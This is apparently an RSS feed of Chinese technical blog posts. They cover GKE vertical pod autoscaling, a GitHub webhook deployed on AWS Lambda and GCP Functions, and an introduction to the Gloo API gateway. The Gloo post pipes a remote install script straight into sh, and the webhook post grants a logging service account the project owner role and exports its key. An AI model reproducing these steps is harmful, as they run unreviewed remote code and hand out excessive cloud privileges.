&lt;p&gt;在 GKE 1.11.3 中提供了 Pod 垂直伸缩功能的 Beta 版本。这一功能在未来可能会收取费用，没有提供 SLA 以及过期策略，也有可能发生不向后兼容的更改。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;本文阐述如何在 GKE 中配置 Pod 的垂直伸缩，该功能包含对 Pod 的 CPU 和内存申请进行调整的能力。&lt;/p&gt;

&lt;h2 id=&#34;概述&#34;&gt;概述&lt;/h2&gt;

&lt;p&gt;可以配置 &lt;a href=&#34;https://cloud.google.com/kubernetes-engine/docs/concepts/verticalpodautoscaler&#34; target=&#34;_blank&#34;&gt;VerticalPodAutoscaler&lt;/a&gt; CRD来对容器的&lt;a href=&#34;https://kubernetes.io/docs/tasks/configure-pod-container/assign-cpu-resource/&#34; target=&#34;_blank&#34;&gt;CPU&lt;/a&gt;以及&lt;a href=&#34;https://kubernetes.io/docs/tasks/configure-pod-container/assign-memory-resource/&#34; target=&#34;_blank&#34;&gt;内存&lt;/a&gt;需求进行分析和调整。&lt;/p&gt;

&lt;h2 id=&#34;开始之前&#34;&gt;开始之前&lt;/h2&gt;

&lt;p&gt;开始这一任务之前，首先要完成以下步骤：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;确认开启了 &lt;a href=&#34;https://console.cloud.google.com/apis/library/container.googleapis.com?q=kubernetes%20engine&amp;amp;_ga=2.131271884.-250761375.1547990554&amp;amp;_gac=1.19137164.1547990557.EAIaIQobChMIkbeckbr83wIVRKSWCh0_yAmwEAAYASAAEgJmc_D_BwE&#34; target=&#34;_blank&#34;&gt;GKE API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;安装 &lt;a href=&#34;https://cloud.google.com/sdk/downloads&#34; target=&#34;_blank&#34;&gt;Cloud SDK&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;设置缺省的 &lt;a href=&#34;https://support.google.com/cloud/answer/6158840&#34; target=&#34;_blank&#34;&gt;Project ID&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gcloud config set project [PROJECT_ID]&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如果运行的是 zonal 集群，设置缺省的 &lt;a href=&#34;https://cloud.google.com/compute/docs/zones#available&#34; target=&#34;_blank&#34;&gt;compute zone&lt;/a&gt;：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gcloud config set compute/zone [COMPUTE_ZONE]&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如果运行的是 regional 集群，设置缺省的 &lt;a href=&#34;https://cloud.google.com/compute/docs/zones#available&#34; target=&#34;_blank&#34;&gt;compute region&lt;/a&gt;：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gcloud config set compute/region [COMPUTE_REGION]&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;更新 &lt;code&gt;gcloud&lt;/code&gt; 到最新版本：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gcloud components update&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;为集群启用-pod-的垂直自动伸缩功能&#34;&gt;为集群启用 Pod 的垂直自动伸缩功能&lt;/h2&gt;

&lt;p&gt;可以使用下面的命令创建包含 Pod 垂直自动伸缩功能的新集群：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;gcloud beta container clusters create [CLUSTER_NAME] \
    --enable-vertical-pod-autoscaling
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;[CLUSTER_NAME]&lt;/code&gt; 就是该集群的名称。&lt;/p&gt;

&lt;p&gt;如果要给现有集群启用 Pod 垂直自动伸缩功能，可以用下列命令：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;cloud beta container clusters update [CLUSTER-NAME] \
    --enable-vertical-pod-autoscaling
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;[CLUSTER_NAME]&lt;/code&gt; 就是该集群的名称。&lt;/p&gt;

&lt;h2 id=&#34;获取资源推荐&#34;&gt;获取资源推荐&lt;/h2&gt;

&lt;p&gt;下面的练习中会创建一个 VerticalPodAutoscaler，其中的 &lt;code&gt;updateMode&lt;/code&gt; 设置为 &lt;code&gt;Off&lt;/code&gt;。接下来创建一个包含两个 Pod 的 Deployment，每个 Pod 包含一个容器。当 Pod 创建时，VerticalPodAutoscaler 会分析容器的 CPU 和内存需要，并将推荐设置保存在 &lt;code&gt;status&lt;/code&gt; 字段中。VerticalPodAutoscaler 在这一过程中不会对运行中的容器采取任何更新资源需求的措施。&lt;/p&gt;

&lt;p&gt;VerticalPodAutoscaler 的配置如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: autoscaling.k8s.io/v1beta1
kind: VerticalPodAutoscaler
metadata:
  name: my-rec-vpa
spec:
  selector:
    matchLabels:
      purpose: try-recommend
  updatePolicy:
    updateMode: &amp;quot;Off&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;将代码保存为 &lt;code&gt;my-rec-vpa.yaml&lt;/code&gt; 并创建该资源：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl create -f my-rec-vpa.yaml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Deployment 的代码如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: my-rec-deployment
  labels:
    purpose: try-recommend
spec:
  replicas: 2
  template:
    metadata:
      labels:
        purpose: try-recommend
    spec:
      containers:
      - name: my-rec-container
        image: nginx
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上述代码中并未设置 CPU 和内存的请求数量。而 Deployment 中的 Pod，具有标签 &lt;code&gt;purpose: try-recommend&lt;/code&gt;，符合 VerticalPodAutoscaler 的 &lt;code&gt;selector&lt;/code&gt; 中定义的选择标准，因此是会受到管理的。&lt;/p&gt;

&lt;p&gt;将上述代码命名为 &lt;code&gt;my-rec-deployment.yaml&lt;/code&gt;，创建对象：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl create -f my-rec-deployment.yaml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;稍候片刻，查看 VirticalPodAutoscaler：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl get vpa my-rec-vpa --output yaml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;会显示 CPU 和内存资源的推荐设置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
  recommendation:
    containerRecommendations:
    - containerName: my-rec-container
      lowerBound:
        cpu: 25m
        memory: 262144k
      target:
        cpu: 25m
        memory: 262144k
      upperBound:
        cpu: 7931m
        memory: 8291500k
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;现在看到了推荐的 CPU 和内存请求了，可以选择删除 Deployment，加入 CPU 和内存请求的相关内容，并重新启动。&lt;/p&gt;

&lt;h3 id=&#34;自动更新资源&#34;&gt;自动更新资源&lt;/h3&gt;

&lt;p&gt;接下来的练习会创建一个 Deployment ，其中包含两个 Pod，每个 Pod 包含一个容器，容器请求 100m 的 CPU 以及 50M 的内存。然后创建一个 VerticalPodAutoscaler 对象，自动对 CPU 和内存的请求进行修正。&lt;/p&gt;

&lt;p&gt;下面是该 Deployment 的代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: my-deployment
  labels:
    purpose: try-auto-requests
spec:
  replicas: 2
  template:
    metadata:
      labels:
        purpose: try-auto-requests
    spec:
      containers:
      - name: my-container
        image: k8s.gcr.io/ubuntu-slim:0.1
        resources:
          requests:
            cpu: 100m
            memory: 50Mi
        command: [&amp;quot;/bin/sh&amp;quot;]
        args: [&amp;quot;-c&amp;quot;, &amp;quot;while true; do timeout 0.5s yes &amp;gt;/dev/null; sleep 0.5s; done&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;把上述代码保存为文件 &lt;code&gt;my-deployment.yaml&lt;/code&gt;，并创建对象：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl create -f my-deployment.yaml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;列出运行中的 Pod：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl get pods&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;输出内容中包含了 &lt;code&gt;my-deployment&lt;/code&gt; 中的 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;NAME                            READY     STATUS             RESTARTS   AGE
my-deployment-cbcdd49fb-d6bf9   1/1       Running            0          8s
my-deployment-cbcdd49fb-th288   1/1       Running            0          8s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;为了后续方便，记录下 Pod 名称。&lt;/p&gt;

&lt;p&gt;这个 Deployment 申请的 CPU 和内存非常小，所以可能提供更多资源会给这一 Deployment 带来更好的效果。&lt;/p&gt;

&lt;p&gt;下面代码用于创建一个 &lt;code&gt;VerticalPodAutoscaler&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: autoscaling.k8s.io/v1beta1
kind: VerticalPodAutoscaler
metadata:
  name: my-vpa
spec:
  selector:
    matchLabels:
      purpose: try-auto-requests
  updatePolicy:
    updateMode: &amp;quot;Auto&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这段代码中的 &lt;code&gt;selector&lt;/code&gt; 字段中声明，所有带有标签 &lt;code&gt;purpose: try-auto-requests&lt;/code&gt; 的 Pod 都会受其影响。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;updateMode&lt;/code&gt; 字段取值为 &lt;code&gt;Auto&lt;/code&gt;，代表 VerticalPodAutoscaler 会更新 Pod 的 CPU 和内存请求，也就是说 VerticalPodAutoscaler 会删除 Pod、调整 CPU 和内存申请，然后启动一个新 Pod。&lt;/p&gt;

&lt;p&gt;把代码保存为 &lt;code&gt;my-vpa.yaml&lt;/code&gt;，并创建该资源：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl create -f my-vpa.yaml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;几分钟之后，再次查看 Pod：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl get pods&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;会看到 Pod 名称已经发生了变化，如果没有，请隔一段时间再次查看。&lt;/p&gt;

&lt;p&gt;获取一个新 Pod 的信息：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl get pod [POD_NAME] --output yaml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;输出内容中，会看到 VerticalPodAutoscaler 提高了内存和 CPU 的设置。还会看到注解中也发生了更新：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  annotations:
    vpaUpdates: &#39;Pod resources updated by my-vpa: container 0: cpu capped to node
      capacity, memory capped to node capacity, cpu request, memory request&#39;
...
spec:
  containers:
  ...
    resources:
      requests:
        cpu: 510m
        memory: 262144k
    ...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看一下 VerticalPodAutoscaler 的详情：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl get vpa my-vpa --output yaml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;输出内容中显示了三组对 CPU 和内存申请的建议：&lt;code&gt;lowerBound&lt;/code&gt;、&lt;code&gt;target&lt;/code&gt; 和 &lt;code&gt;upperBound&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
  recommendation:
    containerRecommendations:
    - containerName: my-container
      lowerBound:
        cpu: 536m
        memory: 262144k
      target:
        cpu: 587m
        memory: 262144k
      upperBound:
        cpu: 27854m
        memory: &amp;quot;545693548&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;target&lt;/code&gt; 的含义是，该容器使用 587m 的 CPU 和 262144 KB 的内存会获得更好的运行效果。&lt;/p&gt;

&lt;p&gt;VerticalPodAutoscaler 会使用 &lt;code&gt;lowerBound&lt;/code&gt; 和 &lt;code&gt;upperBound&lt;/code&gt; 来决定是否重新创建 Pod，如果一个 Pod 申请的资源少于 &lt;code&gt;lowerBound&lt;/code&gt; 或者大于 &lt;code&gt;upperBound&lt;/code&gt;，就会被 VerticalPodAutoscaler 删除并使用 &lt;code&gt;target&lt;/code&gt; 推荐的规格进行重建。&lt;/p&gt;

&lt;h3 id=&#34;selector-不可重叠&#34;&gt;Selector 不可重叠&lt;/h3&gt;

&lt;p&gt;VerticalPodAutoscaler 包含了一个 &lt;code&gt;selector&lt;/code&gt; 字段，用来决定该对象的影响范围。如果创建了不止一个的 &lt;code&gt;VerticalPodAutoscaler&lt;/code&gt;，要保证其 selector 不能发生重叠。&lt;/p&gt;

&lt;p&gt;例如下面的两个 VerticalPodAutoscaler：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
kind: VerticalPodAutoscaler
metadata:
  name: my-vpa-1
spec:
  selector:
    matchLabels:
      app: metrics
      department: engineering
...
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
...
kind: VerticalPodAutoscaler
metadata:
  name: my-vpa-2
spec:
  selector:
    matchLabels:
      department: engineering
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;带有 &lt;code&gt;app: metrics&lt;/code&gt; 和 &lt;code&gt;department: engineering&lt;/code&gt; 标签的 Pod 会被两个对象同时管理，会引发问题。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>在两个半公有云上实现 Github Webhook</title>
      <link>/post/announce-serverless-tranlation-workflow-for-k8s-istio/</link>
      <pubDate>Wed, 16 Jan 2019 02:51:47 +0800</pubDate>
      <guid>/post/announce-serverless-tranlation-workflow-for-k8s-istio/</guid>
      <description>

&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;http://www.servicemesher.com&#34; target=&#34;_blank&#34;&gt;Service Mesher&lt;/a&gt; 社区牵头启动 &lt;a href=&#34;https://istio.io/zh&#34; target=&#34;_blank&#34;&gt;Istio&lt;/a&gt; 文档翻译工作之后，为降低维护工作量，我们开发了一个 &lt;a href=&#34;https://github.com/servicemesher/webhook&#34; target=&#34;_blank&#34;&gt;Github Webhook 项目&lt;/a&gt;，用 Github Issue 的方式对社区翻译工作流程提供自动化支持。同时也开发了一个 Chatbot 来完成任务的维护工作。&lt;/p&gt;

&lt;p&gt;在上海 KubeCon 上，经过和 &lt;a href=&#34;https://kubernetes.io/zh/&#34; target=&#34;_blank&#34;&gt;Kubernetes&lt;/a&gt; 文档工作组进行一番交流之后，决定将这一套方法推行到 Kubernetes 文档的本地化工作之中。&lt;/p&gt;

&lt;p&gt;经过一番准备之后，两个项目用相似的 Flask 代码，以在 VPS 上运行的 Docker Image 的形式支撑了两个本地化工作组的工作流程。&lt;/p&gt;

&lt;p&gt;然而两组代码始终是一个隐患，并且工作流程固化在代码之中，也给流程改进带来很大阻碍；另外使用高配 Linode 运行 Webhook 是个非常奢侈的事情 : smile :。因此也就有了利用公有云 Free Tier 提供 Webhook 响应的想法。&lt;/p&gt;

&lt;p&gt;未解决这些问题，新建了 &lt;a href=&#34;https://github.com/fleeto/issueflow&#34; target=&#34;_blank&#34;&gt;Webhook 项目&lt;/a&gt;，经过对代码的修改，将流程定制工作全部转移到配置文件之中，并将流程处理代码进行了固化，在此基础上，分别实现了 Flask、AWS Lambda 以及 GCP Function 的三个版本。&lt;/p&gt;

&lt;h2 id=&#34;aws-lambda&#34;&gt;AWS Lambda&lt;/h2&gt;

&lt;h3 id=&#34;入口代码&#34;&gt;入口代码&lt;/h3&gt;

&lt;p&gt;Lambda 版本的 Webhook，使用 &lt;a href=&#34;https://github.com/fleeto/issueflow/blob/lambda/lambda.py&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;lambda.py&lt;/code&gt;&lt;/a&gt; 作为入口文件，入口函数为 &lt;code&gt;webhook&lt;/code&gt;，在创建 Lambda 的页面中，可以指定 &lt;code&gt;lambda.webhook&lt;/code&gt; 为入口。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;def webhook(event, context):&lt;/code&gt; 中的 &lt;code&gt;event&lt;/code&gt; 参数中包含了请求数据，&lt;code&gt;context&lt;/code&gt; 顾名思义，包含 Lambda 的上下文信息。例如用下面的代码获取 METHOD、POST Data 以及 Header（强烈鄙视标头这个译法）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;if event[&amp;quot;httpMethod&amp;quot;] != &amp;quot;POST&amp;quot;:
    return {
        &amp;quot;isBase64Encoded&amp;quot;: &amp;quot;false&amp;quot;,
        &amp;quot;statusCode&amp;quot;: 405,
        &amp;quot;headers&amp;quot;: {},
        &amp;quot;body&amp;quot;: &amp;quot;Method Not Allowed!&amp;quot;
    }

data = json.loads(event[&amp;quot;body&amp;quot;])
event_type = event[&amp;quot;headers&amp;quot;][&amp;quot;X-GitHub-Event&amp;quot;]
event_id = event[&amp;quot;headers&amp;quot;][&amp;quot;X-GitHub-Delivery&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;日志&#34;&gt;日志&lt;/h3&gt;

&lt;p&gt;如下代码可以将日志写入 CloudWatch Log。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;logger = logging.getLogger()
logger.setLevel(int(LOG_LEVEL))
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;需要注意的两个问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CloudWatch Log 不属于 Free Tier。因此可以考虑使用 S3 存储文件的方式来完成日志记录。&lt;/li&gt;
&lt;li&gt;AWS 为 Lambda 分配的缺省权限中不包含 Log 的内容，需要在 IAM 中进行授权。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;返回&#34;&gt;返回&lt;/h3&gt;

&lt;p&gt;选择 API Gateway 作为 Lambda 触发器，其返回内容需要是一个固定的 JSON 格式，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;return {
    &amp;quot;isBase64Encoded&amp;quot;: &amp;quot;false&amp;quot;,
    &amp;quot;statusCode&amp;quot;: 405,
    &amp;quot;headers&amp;quot;: {},
    &amp;quot;body&amp;quot;: &amp;quot;Method Not Allowed!&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;部署&#34;&gt;部署&lt;/h3&gt;

&lt;p&gt;Lambda 没有为 Python 提供依赖处理功能，需要自行下载依赖包，并统一打包为 ZIP 文件上传，代码中提供了 &lt;a href=&#34;https://github.com/fleeto/issueflow/blob/lambda/build.sh&#34; target=&#34;_blank&#34;&gt;build.sh&lt;/a&gt;，用于生成发布包。&lt;/p&gt;

&lt;h2 id=&#34;gcp-function&#34;&gt;GCP Function&lt;/h2&gt;

&lt;h3 id=&#34;入口代码-1&#34;&gt;入口代码&lt;/h3&gt;

&lt;p&gt;GCP Function 版本的 Webhook 以 &lt;a href=&#34;https://github.com/fleeto/issueflow/blob/gcp-function/main.py&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;main.py&lt;/code&gt;&lt;/a&gt; 为入口，这是强制规定。可以指定入口函数，我在这里指定使用 &lt;code&gt;webhook&lt;/code&gt; 入口，其中的 &lt;code&gt;request&lt;/code&gt; 参数实际上就是 &lt;a href=&#34;http://flask.pocoo.org/docs/1.0/&#34; target=&#34;_blank&#34;&gt;Flask&lt;/a&gt; 的 Request 对象。因此可以很方便的查找文档。&lt;/p&gt;

&lt;h3 id=&#34;日志-1&#34;&gt;日志&lt;/h3&gt;

&lt;p&gt;这里的日志稍嫌复杂，但是和 AWS 不同的是，StackDriver Log 是免费的，因此可以忍。&lt;/p&gt;

&lt;p&gt;创建 ServiceAccount：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;gcloud iam service-accounts \
create [account] --project [project-id]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;为新账号赋权：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;gcloud projects add-iam-policy-binding [project-id] \
--member &amp;quot;serviceAccount:[account]@[project-id].iam.gserviceaccount.com&amp;quot; \
--role &amp;quot;roles/owner&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;获取账号文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;gcloud iam service-accounts keys create permission.json \
--iam-account [account]@[project-id].iam.gserviceaccount.com
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;应用中需要定义 &lt;code&gt;GOOGLE_APPLICATION_CREDENTIALS&lt;/code&gt; 环境变量，指定上传的 permission.json 文件的位置。&lt;/p&gt;

&lt;p&gt;日志需要使用 Google 自己的库来完成：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;from google.cloud import logging
...

logging_client = logging.Client()
log_name = &amp;quot;github-webhook-{}&amp;quot;.format(WORKFLOW)
logger = logging_client.logger(log_name)
...
logger.log_struct(
    {&amp;quot;workflow&amp;quot;: WORKFLOW, &amp;quot;admins&amp;quot;: ADMINS}
)
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;requirments.txt&lt;/code&gt; 中需要加入如下依赖：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;google-cloud
google-cloud-logging
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;返回-1&#34;&gt;返回&lt;/h3&gt;

&lt;p&gt;返回值无需像 Lambda 一样特别处理，直接 &lt;code&gt;return&lt;/code&gt; 即可。&lt;/p&gt;

&lt;h3 id=&#34;部署-1&#34;&gt;部署&lt;/h3&gt;

&lt;p&gt;GCP Function 提供了依赖处理能力，只需要在 &lt;code&gt;requirements.txt&lt;/code&gt; 中写明依赖包即可。无需下载上传大量的依赖包文件。&lt;/p&gt;

&lt;h2 id=&#34;azure-function&#34;&gt;Azure Function&lt;/h2&gt;

&lt;p&gt;Azure 提供了 func cli 来完成初始化工作，并通过 VS Code 提供了 Azure Function 的开发支持。&lt;strong&gt;然而 func cli 只支持 Python 3.6.x，测试未能完成。&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&#34;一点对比&#34;&gt;一点对比&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;GCP Function 的 HTTP 触发器没有提供对网址的定义功能。&lt;/li&gt;
&lt;li&gt;AWS 日志不免费提供，但是比 GCP 更方便。&lt;/li&gt;
&lt;li&gt;AWS 没有提供 Python 的依赖处理。&lt;/li&gt;
&lt;li&gt;GCP Function 部署似乎有一点延迟，不会立即生效。&lt;/li&gt;
&lt;li&gt;AWS Lambda 的默认超时时间为 3 秒，对很多任务来说，可能无法顺利完成。&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Gloo，充满想象力的 API Gateway</title>
      <link>/post/gloo-amazing-gateway/</link>
      <pubDate>Mon, 07 Jan 2019 23:24:10 +0800</pubDate>
      <guid>/post/gloo-amazing-gateway/</guid>
      <description>

&lt;h2 id=&#34;缘起&#34;&gt;缘起&lt;/h2&gt;

&lt;p&gt;2018 年 11 月，在 Medium 上闲逛时候看到一篇吓人的东西：&lt;a href=&#34;https://medium.com/solo-io/announcing-gloo-the-function-gateway-3f0860ef6600&#34; target=&#34;_blank&#34;&gt;Introducing SuperGloo: The Service Mesh Orchestration Platform&lt;/a&gt;，服务网格编排器——当时感觉挺奇幻的，在群里打趣了一下，并不以为意；直到有一天看到了另外一条消息：&lt;/p&gt;

&lt;blockquote class=&#34;twitter-tweet&#34;&gt;&lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;My new adventure! Starting as Field CTO &lt;a href=&#34;https://twitter.com/soloio_inc?ref_src=twsrc%5Etfw&#34;&gt;@soloio_inc&lt;/a&gt; &lt;a href=&#34;https://t.co/FQKW2eoLlw&#34;&gt;https://t.co/FQKW2eoLlw&lt;/a&gt;&lt;/p&gt;&amp;mdash; Christian Posta (@christianposta) &lt;a href=&#34;https://twitter.com/christianposta/status/1080483078139572229?ref_src=twsrc%5Etfw&#34;&gt;January 2, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;



&lt;p&gt;著名技术网红 Christian Posta 跳槽了，又是这个 &lt;a href=&#34;https://solo.io&#34; target=&#34;_blank&#34;&gt;solo.io&lt;/a&gt;，这就不能不好奇了。在网站上浏览一圈，感觉脑洞大开，不管是否现实，真的有趣，一时手痒，又拿出祖传的 Hello world，有了这篇文章。&lt;/p&gt;

&lt;h2 id=&#34;产品&#34;&gt;产品&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://solo.io&#34; target=&#34;_blank&#34;&gt;Solo.io&lt;/a&gt; 首页上列出了六个产品：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/solo-io/gloo&#34; target=&#34;_blank&#34;&gt;Gloo&lt;/a&gt;：混合应用网关；&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.solo.io/glooe&#34; target=&#34;_blank&#34;&gt;GlooE&lt;/a&gt;：Gloo 的企业版；&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/solo-io/supergloo&#34; target=&#34;_blank&#34;&gt;SuperGloo&lt;/a&gt;：服务网格编排器；&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/solo-io/sqoop&#34; target=&#34;_blank&#34;&gt;Sqoop&lt;/a&gt;：构建在 Gloo 之上的 GraphQL 引擎，提供跨 API 的查询支持；&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/solo-io/unik&#34; target=&#34;_blank&#34;&gt;UniK&lt;/a&gt;：将代码编译为 unikernels 和 MicroVM；&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/solo-io/squash&#34; target=&#34;_blank&#34;&gt;Squash&lt;/a&gt;：在多云环境下为 IDE 提供微服务调试支持。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;自然我最感兴趣的就是 SuperGloo 和 Gloo 了。宣发稿中已经做出了很多介绍，根据 CLI Reference 看看其中的亮点。&lt;/p&gt;

&lt;h3 id=&#34;supergloo&#34;&gt;SuperGloo&lt;/h3&gt;

&lt;p&gt;注意，这是一个“网格编排器”，因此其特性都是&lt;strong&gt;跨网格的&lt;/strong&gt;。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;支持 Istio、Consul、Linkerd2 以及 AppMesh 的安装部署；&lt;/li&gt;
&lt;li&gt;路由规则：

&lt;ul&gt;
&lt;li&gt;流量迁移；&lt;/li&gt;
&lt;li&gt;故障注入；&lt;/li&gt;
&lt;li&gt;超时控制；&lt;/li&gt;
&lt;li&gt;重试控制；&lt;/li&gt;
&lt;li&gt;CORS 策略；&lt;/li&gt;
&lt;li&gt;流量镜像；&lt;/li&gt;
&lt;li&gt;Header 处理。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;安全加固：

&lt;ul&gt;
&lt;li&gt;策略管理；&lt;/li&gt;
&lt;li&gt;mTLS；&lt;/li&gt;
&lt;li&gt;Ingress 加固&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;事实上这部分的特性主要是基于 Istio 的实现，Linkerd2 和 Consul 自身的功能还相当匮乏，具体情况可以参看其&lt;a href=&#34;https://supergloo.solo.io/#roadmap&#34; target=&#34;_blank&#34;&gt;路线快照&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;gloo&#34;&gt;Gloo&lt;/h3&gt;

&lt;p&gt;作为一个混合应用网关，其最大特色就是跨云的网关支持：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;支持 Upstream：

&lt;ul&gt;
&lt;li&gt;Kubernetes&lt;/li&gt;
&lt;li&gt;AWS&lt;/li&gt;
&lt;li&gt;Azure&lt;/li&gt;
&lt;li&gt;Consule&lt;/li&gt;
&lt;li&gt;Static&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;VirtualService：在网关上定义虚拟服务，并在此基础上提供限流。&lt;/li&gt;
&lt;li&gt;路由：在虚拟服务中定义访问的路由规则。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;gloo-初体验&#34;&gt;Gloo 初体验&lt;/h2&gt;

&lt;p&gt;下面我们会使用 Gloo 将一个 Kubernetes 集群上的 HTTPBIN 服务和一个运行在 Azure 上的 Function 粘合起来，合作提供服务，并在最后进行限流测试。&lt;/p&gt;

&lt;h2 id=&#34;gloo-部署&#34;&gt;Gloo 部署&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Gloo 要求 Kubernetes 版本在 1.8 以上&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;使用脚本安装客户端：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;curl -sL https://run.solo.io/gloo/install | sh
&lt;/code&gt;&lt;/pre&gt;

